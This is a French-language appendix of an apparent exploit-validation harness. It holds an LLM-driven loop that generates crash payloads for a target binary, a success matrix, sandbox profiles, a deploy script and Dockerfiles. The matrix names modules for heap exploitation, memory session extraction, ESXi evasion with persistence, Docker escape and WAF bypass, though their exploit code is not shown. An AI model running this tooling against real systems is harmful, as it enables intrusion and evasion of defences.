Fichier : `llm_exploit_loop.py`

```
#!/usr/bin/env python3
# HARNESS-VALIDATION v2.3.0 — boucle LLM → PoC → validation → feedback.
# Corrige audit §3.13 + revue v2.2 :
#   - Pré-traitement hex robuste
#   - v2.3 : sandbox OBLIGATOIRE (nsjail/bwrap) — plus de fallback subprocess direct
#   - v2.3 : fenêtrage historique adaptatif (envoie tout si &lt; 8KB, sinon tronque depuis le début)
#   - Endpoint LLM HTTPS ou local obligatoire
import json
import os
import re
import subprocess
import sys
import time
import requests

LLM_ENDPOINT = os.environ.get("LLM_ENDPOINT", "http://127.0.0.1:11434/api/generate")
MODEL        = os.environ.get("LLM_MODEL", "llama3")
TARGET_CMD   = sys.argv[1] if len(sys.argv) &gt; 1 else "./target_binary"
MAX_ITER     = int(sys.argv[2]) if len(sys.argv) &gt; 2 else 5
SANDBOX      = os.environ.get("SANDBOX_CMD", "nsjail")  # ou "bwrap"
MAX_HISTORY_CHARS = 8000  # ~2K tokens de contexte LLM

# v2.3 : sandbox OBLIGATOIRE — plus de fallback subprocess direct
if SANDBOX not in ("nsjail", "bwrap"):
    print(json.dumps({
        "module": "llm_exploit_loop",
        "error": "sandbox_required",
        "detail": "SANDBOX_CMD doit être 'nsjail' ou 'bwrap'. "
                  "Exécution directe (subprocess) interdite pour sécurité."
    }))
    sys.exit(2)

# Vérification : endpoint doit être local ou HTTPS
if LLM_ENDPOINT.startswith("http://") and "127.0.0.1" not in LLM_ENDPOINT:
    sys.exit("[FATAL] LLM_ENDPOINT doit être HTTPS ou localhost. "
             "Éviter HTTP plain pour des données sensibles.")

SYSTEM = """Tu génères un PoC (payload binaire) pour déclencher un crash
dans la cible. Réponds UNIQUEMENT avec le payload encodé en hexadécimal
(pas de préfixe 0x, pas d'espaces, pas de prose).
Si un essai précédent a échoué, analyse pourquoi et propose une variante."""

HEX_RE = re.compile(r"(?:0x)?([0-9a-fA-F]{8,})")


def ask_llm(history: list) -&gt; bytes:
    """Interroge le LLM et extrait le payload hex."""
    # v2.3 : fenêtrage adaptatif. Si l'historique complet tient dans MAX_HISTORY_CHARS,
    # on l'envoie en entier (meilleur contexte pour itération). Sinon, on garde les
    # N derniers essais complets qui tiennent dans la limite.
    full = json.dumps(history, indent=2)
```

```
    if len(full) &lt;= MAX_HISTORY_CHARS:
        recent = history
        summary = ""
    else:
        # Tronquer depuis le début (garder les essais récents)
        cutoff = len(history)
        while cutoff &gt; 1 and len(json.dumps(history[-cutoff:], indent=2)) &gt; MAX_HISTORY_CHARS:
            cutoff -= 1
        recent = history[-cutoff:]
        older = history[:-cutoff]
        summary = (f"\n\nEssais précédents tronqués ({len(older)} échecs, "
                   f"résumé exits: {json.dumps([h.get('result', {}).get('crashes_out_of_3') for h in older[-5:]])}\n")
    prompt = SYSTEM + "\n\nHistorique:\n" + json.dumps(recent, indent=2) + summary
    try:
        r = requests.post(
            LLM_ENDPOINT,
            json={"model": MODEL, "prompt": prompt, "stream": False},
            timeout=120)
        text = r.json().get("response", "").strip()
    except (requests.RequestException, json.JSONDecodeError):
        return b""
    # Extraction hex robuste : cherche le premier bloc hex valide
    m = HEX_RE.search(text)
    if m:
        hex_str = m.group(1)
    else:
        hex_str = re.sub(r"[^0-9a-fA-F]", "", text)
    if len(hex_str) &lt; 8:
        return b""
    try:
        return bytes.fromhex(hex_str[:1024])  # plafond 1 KB
    except ValueError:
        return b""


def validate(payload: bytes) -&gt; dict:
    """Exécute la cible avec le payload dans un sandbox.
    Succès = crash reproductible (3/3) + signal ASAN si dispo."""
    poc_path = "/tmp/poc_candidate"
    with open(poc_path, "wb") as f:
        f.write(payload)

    # v2.3 : sandbox OBLIGATOIRE — construction de la commande selon SANDBOX
    if SANDBOX == "nsjail":
        sandbox_cmd = [
            "nsjail",
            "--mode", "o",
            "--time_limit", "10",
            "--disable_clone", "newnet",
            "--bindmount", "ro:/",
            "--bindmount", "rw:/tmp",
            "--",
            TARGET_CMD, poc_path,
        ]
    elif SANDBOX == "bwrap":
        sandbox_cmd = [
            "bwrap", "--ro-bind", "/", "/",
            "--bind", "/tmp", "/tmp",
            "--unshare-net",
            "--die-with-parent",
            "--",
            TARGET_CMD, poc_path,
        ]
    else:
        # v2.3 : plus de fallback subprocess direct — refus de s'exécuter
        return {"error": "sandbox_not_configured", "crash": False,
                "detail": "SANDBOX_CMD doit être nsjail ou bwrap"}

    # Test de reproductibilité : 3 exécutions
    crashes = 0
    last_stderr = b""
    for _ in range(3):
        try:
            proc = subprocess.run(sandbox_cmd, capture_output=True, timeout=10)
```

```
            crashed = proc.returncode &lt; 0 or proc.returncode &gt; 128
            if crashed:
                crashes += 1
            last_stderr = proc.stderr
        except subprocess.TimeoutExpired:
            pass

    # Vérification ASAN si le binaire est instrumenté
    asan_signal = (b"AddressSanitizer" in last_stderr or
                   b"heap-use-after-free" in last_stderr or
                   b"heap-buffer-overflow" in last_stderr)

    return {
        "crash": crashes &gt;= 2,  # reproductible si ≥ 2/3
        "crashes_out_of_3": crashes,
        "reproducible": crashes == 3,
        "asan_signal": asan_signal,
        "stderr_tail": last_stderr[-200:].decode(errors="replace"),
    }


def main():
    history, success = [], False
    for i in range(MAX_ITER):
        t0 = time.time()
        payload = ask_llm(history)
        if not payload:
            history.append({"iter": i, "error": "LLM non-hex ou vide"})
            continue
        result = validate(payload)
        history.append({
            "iter": i,
            "payload_hex": payload.hex()[:120],
            "len": len(payload),
            "result": result,
            "ms": round((time.time() - t0) * 1000, 1),
        })
        if result.get("crash") and result.get("reproducible"):
            success = True
            break
    print(json.dumps({
        "module": "llm_exploit_loop",
        "iterations": len(history),
        "success": success,
        "model": MODEL,
        "sandbox": SANDBOX,
        "history": history,
    }, indent=2))


if __name__ == "__main__":
    main()
```

A14. J7 — Matrice contractuelle (matrix.json)

Expressions expected corrigées et évaluées via safe_eval(). L'expression c_heap utilise raw_head (le module C sort du texte, pas du JSON).

Corrections apportées

- **c_heap** : 'UAF_HARNESS_OK' in summary.get('raw_head', '') au lieu de exit_code==0
- **php_chain** : stable_across_10_runs is True ajouté au check
- **Expressions** : évaluées via safe_eval() (AST whitelist) dans l'orchestrateur

Fichier : `matrix.json`

```
{
  "harness": "2.3.0",
  "targets": {
    "php_uaf": {
      "php": "7.4.33-debug-asan",
      "expected": "summary.get('gc_cycles', 0) &gt; 0",
      "note": "gc_cycles &gt; 0 valide la collecte de cycles. slots_reused mesure le grooming."
    },
    "php_chain": {
      "monolog": "2.9.1",
      "guzzle": "7.4.5",
      "expected": "summary.get('payload_sha256') is not None and summary.get('stable_across_10_runs') is True",
      "note": "Stabilité byte-à-byte requise (10 générations, hash identique)."
    },
    "c_heap": {
      "glibc": "2.31",
      "expected": "'UAF_HARNESS_OK' in summary.get('raw_full', summary.get('raw_head', ''))",
      "note": "Le module C sort du texte (pas JSON). raw_full = stdout complet, raw_head = [:200] fallback."
    },
    "gdb_extract": {
      "php-fpm": "7.4",
      "expected": "summary.get('regions_found', 0) &gt;= 0",
      "note": "regions_found peut être 0 si aucune session en mémoire."
    },
    "esxi_evasion": {
      "esxi": "7.0",
      "expected": "summary.get('status') == 'evasion_active'",
      "note": "Status evasion_active valide la neutralisation + persistance."
    },
    "preauth": {
      "cgi": "vuln",
      "expected": "summary.get('any_leak') is True",
      "note": "any_leak true si au moins une variante déclenche uid=/root:."
    },
    "docker_escape": {
      "docker": "20.10",
      "socket": "rw",
      "expected": "summary.get('escape_ok') is True",
      "note": "escape_ok true si uid= ou root: visible dans les logs."
    },
    "waf_bypass": {
      "waf": "modsec-crs",
      "expected": "summary.get('any_bypass') is True",
      "note": "any_bypass true si au moins une variante passe le WAF."
    },
    "fuzzer_send": {
      "seed": 1337,
      "expected": "summary.get('total', 0) &gt; 0",
      "note": "total &gt; 0 valide que des payloads ont été générés et envoyés."
    },
    "afl_fuzz": {
      "afl": "AFLplusplus-4.20c",
      "expected": "summary.get('execs_done') is not None",
      "note": "execs_done présent valide que la campagne a démarré."
    },
    "static_analysis": {
      "semgrep": "1.50+",
```

```
      "codeql": "2.14+",
      "expected": "summary.get('semgrep_total') is not None",
      "note": "semgrep_total présent valide l'exécution de l'analyse."
    },
    "llm_exploit": {
      "model": "llama3",
      "expected": "summary.get('iterations') is not None",
      "note": "iterations présent valide que la boucle a tourné. success peut être False."
    }
  }
}
```

A15. J6 — Sandbox runner (sandbox_runner.py)

Isolation d'exécution par module. Conteneur Docker dédié avec --cap-drop ALL, --read-only, limites mémoire/CPU. Profils par module.

Corrections apportées

- **--network none** : la plupart des modules (pas --network host)
- **--memory 512m --cpus 1.0** : limites ressources par conteneur
- **--stop-timeout 290** : sync avec orchestrateur (300s)
- **tmpfs_exec** : configurable par profil (noexec sauf si nécessaire)
- **Cleanup** : --rm garantit la suppression du conteneur

Fichier : `sandbox_runner.py`

```
#!/usr/bin/env python3
# HARNESS-VALIDATION v2.3.0 — isolation d'exécution (audit J6, §4.4 + revue v2.2).
# Corrige revue J6 + v2.2 :
#   - v2.2 : --network none + loopback seulement
#   - v2.3 : fix "loopback" n'est pas un réseau Docker valide → "host" pour modules réseau
#   - v2.3 : --stop-timeout ne borne pas l'exécution → timeout externe
#   - v2.3 : limites mémoire/CPU conservées
import json
import os
import subprocess
import sys
from pathlib import Path

ROOT = Path(__file__).parent.resolve()
TIMEOUT = 290  # &lt; 300s orchestrateur pour laisser marge

# Profils par module.
# Réseau :
#   "none"  = aucune interface réseau (loopback interne seulement)
#   "host"  = réseau hôte (pour modules devant atteindre 127.0.0.1 du host)
# Note : "host" donne accès au réseau complet de l'hôte. Pour un lab isolé,
# c'est acceptable. Pour production, créer un bridge --internal dédié.
PROFILES = {
    "php_uaf": {
        "image": "harness/php-asan:7.4",
        "caps": [],
        "net": "none",
        "tmpfs_exec": True,
    },
    "php_chain": {
        "image": "harness/php-chain:latest",
        "caps": [],
        "net": "none",
        "tmpfs_exec": True,
    },
    "c_heap": {
        "image": "harness/glibc-2.31:latest",
        "caps": ["SYS_PTRACE"],
        "net": "none",
        "tmpfs_exec": False,
    },
    "gdb_extract": {
        "image": "harness/gdb:latest",
        "caps": ["SYS_PTRACE"],
        "net": "none",
        "tmpfs_exec": False,
        "pid": "host",
    },
    "esxi_evasion": {
        "image": "harness/busybox:latest",
        "caps": [],
        "net": "none",
        "tmpfs_exec": True,
```

```
    },
    "preauth": {
        "image": "harness/net-tools:latest",
        "caps": [],
        "net": "host",  # doit atteindre 127.0.0.1:8080 du host
        "tmpfs_exec": False,
    },
    "docker_escape": {
        "image": "docker:cli",
        "caps": [],
        "net": "none",
        "tmpfs_exec": False,
        "mounts": [("/var/run/docker.sock", "/var/run/docker.sock")],
        "privileged": True,
    },
    "waf_bypass": {
        "image": "harness/net-h2:latest",
        "caps": [],
        "net": "host",  # doit atteindre 127.0.0.1:8080 du host
        "tmpfs_exec": False,
    },
    "fuzzer_send": {
        "image": "harness/net-requests:latest",
        "caps": [],
        "net": "host",  # doit atteindre 127.0.0.1:8080 du host
        "tmpfs_exec": False,
    },
    "afl_fuzz": {
        "image": "harness/aflpp:latest",
        "caps": [],
        "net": "none",
        "tmpfs_exec": True,
    },
    "static_analysis": {
        "image": "harness/sast:latest",
        "caps": [],
        "net": "none",
        "tmpfs_exec": False,
    },
    "llm_exploit": {
        "image": "harness/llm-sandbox:latest",
        "caps": [],
        "net": "host",  # LLM local via 127.0.0.1:11434 (Ollama)
        "tmpfs_exec": True,
    },
}


def build_docker_args(module: str, p: dict) -&gt; list[str]:
    # v2.3 : "timeout" externe pour borner l'exécution.
    # --stop-timeout ne s'applique qu'à `docker stop`, pas à `docker run`.
    args = ["timeout", str(TIMEOUT),
            "docker", "run", "--rm", "-i",
            "--network", p["net"],
            "--read-only",
            "--cap-drop", "ALL",
            "--memory", "512m",
            "--cpus", "1.0",
            ]
    # tmpfs : /tmp rw, exec si le profil le permet
    tmpfs_opts = "rw,nosuid,size=512m"
    if not p.get("tmpfs_exec", False):
        tmpfs_opts += ",noexec"
    args += ["--tmpfs", f"/tmp:{tmpfs_opts}"]
    # Capabilities
    for cap in p.get("caps", []):
        args += ["--cap-add", cap]
    # PID mode
    if p.get("pid") == "host":
        args += ["--pid", "host"]
    # Mounts
    for host_path, cont_path in p.get("mounts", []):
        args += ["-v", f"{host_path}:{cont_path}"]
    # Privileged (docker_escape seulement)
```

```
    if p.get("privileged"):
        args += ["--privileged"]
    # Mount harness en read-only
    args += ["-v", f"{ROOT}:/harness:ro", "-w", "/harness",
             p["image"]]
    return args


def run_sandboxed(module: str, cmd: list[str]) -&gt; dict:
    p = PROFILES.get(module)
    if not p:
        return {"error": f"no profile for {module}"}
    args = build_docker_args(module, p) + cmd
    try:
        proc = subprocess.run(args, capture_output=True, timeout=TIMEOUT + 10)
        return {
            "exit_code": proc.returncode,
            "stdout": proc.stdout.decode(errors="replace")[:2000],
            "stderr": proc.stderr.decode(errors="replace")[:1000],
        }
    except subprocess.TimeoutExpired:
        return {"error": "timeout", "exit_code": -1}
    except FileNotFoundError:
        return {"error": "docker_not_installed"}
    except Exception as e:
        return {"error": type(e).__name__}


if __name__ == "__main__":
    if len(sys.argv) &lt; 2:
        print(json.dumps({"profiles": list(PROFILES.keys())}, indent=2))
        sys.exit(0)
    module = sys.argv[1]
    cmd = sys.argv[2:]
    print(json.dumps(run_sandboxed(module, cmd), indent=2))
```

A16. Déploiement (deploy.sh + requirements.txt)

Script de déploiement complet : vérification prérequis, venv Python, build module C, build images Docker sandbox, génération clé, lancement.

Fichier : `deploy.sh`

```
#!/usr/bin/env bash
# HARNESS-VALIDATION v2.2.0 — déploiement complet.
# Installe et lance le harness, produit le rapport signé.
# Corrige audit §6.3 : dépendances épinglées, vérification prérequis.
set -euo pipefail
DEST=${1:-/opt/harness}
SCRIPT_DIR="$(cd "$(dirname "$0")" &amp;&amp; pwd)"

echo "[+] Installation dans $DEST"
mkdir -p "$DEST"
cp -r "$SCRIPT_DIR"/* "$DEST/"
cd "$DEST"

# ─── Vérification des prérequis ──────────────────────────
echo "[+] Vérification des prérequis..."
for cmd in python3 php docker; do
    if ! command -v "$cmd" &gt;/dev/null 2&gt;&amp;1; then
        echo "[!] $cmd non installé — certains modules seront ignorés"
    fi
done

# ─── Environnement Python ────────────────────────────────
echo "[+] Création environnement Python..."
python3 -m venv .venv
.venv/bin/pip install --quiet --upgrade pip
.venv/bin/pip install --quiet -r requirements.txt

# ─── PHP Composer (module 2) ─────────────────────────────
if [ -f composer.json ]; then
    echo "[+] Installation dépendances PHP..."
    if command -v composer &gt;/dev/null 2&gt;&amp;1; then
        composer install --no-dev --quiet 2&gt;/dev/null || \
            echo "[!] Composer install échoué — module php_chain ignoré"
    else
        echo "[!] Composer non installé — module php_chain ignoré"
    fi
fi

# ─── Build du module C (module 3) ────────────────────────
if [ -f c_heap_exploit.c ]; then
    echo "[+] Build c_heap_exploit..."
    # v2.3 : -ldl pour dlopen/dlsym (résolution dynamique __free_hook)
    gcc -g -no-pie -fno-stack-protector \
        -o c_heap_exploit c_heap_exploit.c -ldl 2&gt;/dev/null || \
        echo "[!] Build c_heap_exploit échoué"
fi

# ─── Build images Docker sandbox (J6) ────────────────────
if [ -d docker ]; then
    echo "[+] Build images Docker sandbox..."
    for dockerfile in docker/Dockerfile.*; do
        [ -f "$dockerfile" ] || continue
        tag=$(basename "$dockerfile" | sed 's/Dockerfile.//')
        docker build -q -f "$dockerfile" -t "harness/$tag:latest" . 2&gt;/dev/null || \
            echo "[!] Build $tag échoué — sandbox incomplet"
    done
fi

# ─── Lancement reproductible ─────────────────────────────
echo "[+] Lancement du harness..."
SEED=${SEED:-1337}
export REPORT_KEY
if [ -z "$REPORT_KEY" ] || [ "$REPORT_KEY" = "harness-lab-key" ]; then
    echo "[+] Génération de REPORT_KEY..."
    REPORT_KEY="$(openssl rand -hex 32)"
```

```
    echo "[!] REPORT_KEY généré — sauvegarder dans un vault/HSM"
    echo "    REPORT_KEY=$REPORT_KEY"
fi
export OPERATOR="${OPERATOR:-$(whoami)}"

.venv/bin/python orchestrator.py

echo ""
echo "[+] Rapport signé : reports/report_${SEED}.json"
echo "[+] Vérification :"
echo "    .venv/bin/python -c \\"
echo "      \"import sys; sys.path.insert(0,'.'); \\"
echo "       from orchestrator import verify_report_file; \\"
echo "       print(verify_report_file('reports/report_${SEED}.json', b'\${REPORT_KEY}'))\""
```

Fichier : `requirements.txt`

```
# HARNESS-VALIDATION v2.2.0 — dépendances Python épinglées.
requests==2.31.0
h2==4.1.0
pypdf==4.0.0
# Optionnel pour analyse statique :
# semgrep nécessite une installation séparée (pip install semgrep)
# CodeQL nécessite une installation séparée (https://codeql.github.com/)
```

A17. Dockerfiles sandbox

10 Dockerfiles pour les images du sandbox J6. Chaque image est dédiée à un type de module. Build automatique via deploy.sh.

docker/Dockerfile.php-asan — PHP 7.4 debug + ASAN (modules 1, 2)

```
# Dockerfile.php-asan — PHP 7.4 debug + ASAN pour modules php_uaf, php_chain.
FROM ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update &amp;&amp; apt-get install -y --no-install-recommends \
    wget gcc make autoconf libtool re2c bison \
    libxml2-dev libsqlite3-dev &amp;&amp; \
    rm -rf /var/lib/apt/lists/*
WORKDIR /tmp
RUN wget -q https://www.php.net/distributions/php-7.4.33.tar.gz &amp;&amp; \
    tar xzf php-7.4.33.tar.gz &amp;&amp; cd php-7.4.33 &amp;&amp; \
    ./configure --enable-debug --enable-address-sanitizer \
        --disable-all --enable-cli --enable-json --enable-ctype \
        --enable-tokenizer --enable-mbstring &amp;&amp; \
    make -j$(nproc) &amp;&amp; make install &amp;&amp; \
    cd /tmp &amp;&amp; rm -rf php-7.4.33 php-7.4.33.tar.gz
# Composer pour php_chain
RUN wget -q https://getcomposer.org/installer &amp;&amp; \
    php installer --install-dir=/usr/local/bin --filename=composer
WORKDIR /harness
```

docker/Dockerfile.php-chain — PHP + Composer + monolog/guzzle (module 2)

```
# Dockerfile.php-chain — PHP + Composer + monolog/guzzle pour php_chain.
FROM php:7.4-cli
RUN apt-get update &amp;&amp; apt-get install -y --no-install-recommends unzip git &amp;&amp; \
    rm -rf /var/lib/apt/lists/*
# Composer
COPY --from=composer:2 /usr/bin/composer /usr/bin/composer
WORKDIR /harness
# Dépendances seront installées via composer install au déploiement
RUN composer require monolog/monolog:2.9.1 guzzlehttp/guzzle:7.4.5 --no-dev || true
```

docker/Dockerfile.glibc-2.31 — glibc 2.31 Ubuntu 20.04 (module 3)

```
# Dockerfile.glibc-2.31 — environnement glibc 2.31 pour c_heap_exploit.
FROM ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update &amp;&amp; apt-get install -y --no-install-recommends \
    gcc gdb binutils &amp;&amp; \
    rm -rf /var/lib/apt/lists/*
# glibc 2.31 est natif sur Ubuntu 20.04 — pas d'installation supplémentaire
WORKDIR /harness
# __free_hook existe jusqu'à glibc 2.33 (supprimé en 2.34+)
# Vérifier : readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep __free_hook
```

docker/Dockerfile.gdb — GDB + Python (module 4)

```
# Dockerfile.gdb — GDB pour extraction mémoire (module 4).
FROM ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update &amp;&amp; apt-get install -y --no-install-recommends \
    gdb python3 &amp;&amp; \
    rm -rf /var/lib/apt/lists/*
WORKDIR /harness
```

docker/Dockerfile.busybox — BusyBox simulation ESXi (module 5)

```
# Dockerfile.busybox — ESXi simulation (module 5).
FROM busybox:latest
# BusyBox pour simuler l'environnement ESXi (nc, sh, sed sans coreutils)
RUN mkdir -p /etc/rc.local.d
WORKDIR /harness
```

`docker/Dockerfile.net-tools` — Python + requests (modules 6, 9)

```
# Dockerfile.net-tools — outils réseau pour preauth, fuzzer_send.
FROM python:3.11-slim
RUN pip install --no-cache-dir requests==2.31.0
WORKDIR /harness
```

`docker/Dockerfile.net-h2` — Python + requests + h2 (module 8)

```
# Dockerfile.net-h2 — outils réseau + HTTP/2 pour waf_bypass.
FROM python:3.11-slim
RUN pip install --no-cache-dir requests==2.31.0 h2==4.1.0
WORKDIR /harness
```

`docker/Dockerfile.aflpp` — AFL++ (module 11)

```
# Dockerfile.aflpp — AFL++ pour fuzzing binaire (module 11).
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update &amp;&amp; apt-get install -y --no-install-recommends \
    afl++ afl++-doc gcc &amp;&amp; \
    rm -rf /var/lib/apt/lists/*
# AFL++ s'installe via apt sur Ubuntu 22.04
# Alternative : build from source https://github.com/AFLplusplus/AFLplusplus
ENV AFL_DIR=/usr
WORKDIR /harness
```

`docker/Dockerfile.sast` — Semgrep + CodeQL (module 12)

```
# Dockerfile.sast — Semgrep + CodeQL pour analyse statique (module 12).
FROM returntocorp/semgrep:latest
# Semgrep image officielle. CodeQL doit être monté ou installé séparément.
RUN apk add --no-cache curl bash
# CodeQL CLI (optionnel) :
# RUN curl -L https://github.com/github/codeql-cli-binaries/releases/latest/download/codeql-linux64.zip -o /tmp/codeql.zip
#     cd /tmp &amp;&amp; unzip codeql.zip &amp;&amp; mv codeql /usr/local/bin/codeql
WORKDIR /harness
```

`docker/Dockerfile.llm-sandbox` — Python + nsjail/bwrap (module 13)

```
# Dockerfile.llm-sandbox — boucle LLM avec nsjail (module 13).
FROM python:3.11-slim
RUN pip install --no-cache-dir requests==2.31.0 &amp;&amp; \
    apt-get update &amp;&amp; apt-get install -y --no-install-recommends \
    nsjail bwrap &amp;&amp; \
    rm -rf /var/lib/apt/lists/*
WORKDIR /harness
```

A18. Build PHP ASAN (build_php.sh)

Script de build de PHP 7.4.33 en mode debug + AddressSanitizer. Prérequis pour le module 1 (php_uaf.php).

Fichier : `build_php.sh`

```
#!/usr/bin/env bash
# HARNESS-VALIDATION — build PHP 7.4.33 debug + ASAN (prérequis module 1).
# Prérequis : gcc, make, wget, autoconf, libtool, re2c, bison.
set -euo pipefail
V=7.4.33
BUILD_DIR=/tmp/php-build
mkdir -p "$BUILD_DIR" &amp;amp;&amp;amp; cd "$BUILD_DIR"

if [ ! -f "php-$V.tar.gz" ]; then
    wget -q "https://www.php.net/distributions/php-$V.tar.gz"
fi
rm -rf "php-$V"
tar xzf "php-$V.tar.gz"
cd "php-$V"

# Configuration debug + ASAN, CLI uniquement
./configure \
    --enable-debug \
    --enable-address-sanitizer \
    --disable-all \
    --enable-cli \
    --enable-json \
    --enable-ctype \
    --enable-tokenizer \
    --enable-mbstring

make -j"$(nproc)"
sudo make install

# Vérification
echo "[+] PHP installé :"
php -v
php -i | grep -i asan | head -3
echo "[+] Module php_uaf prêt à tester"
```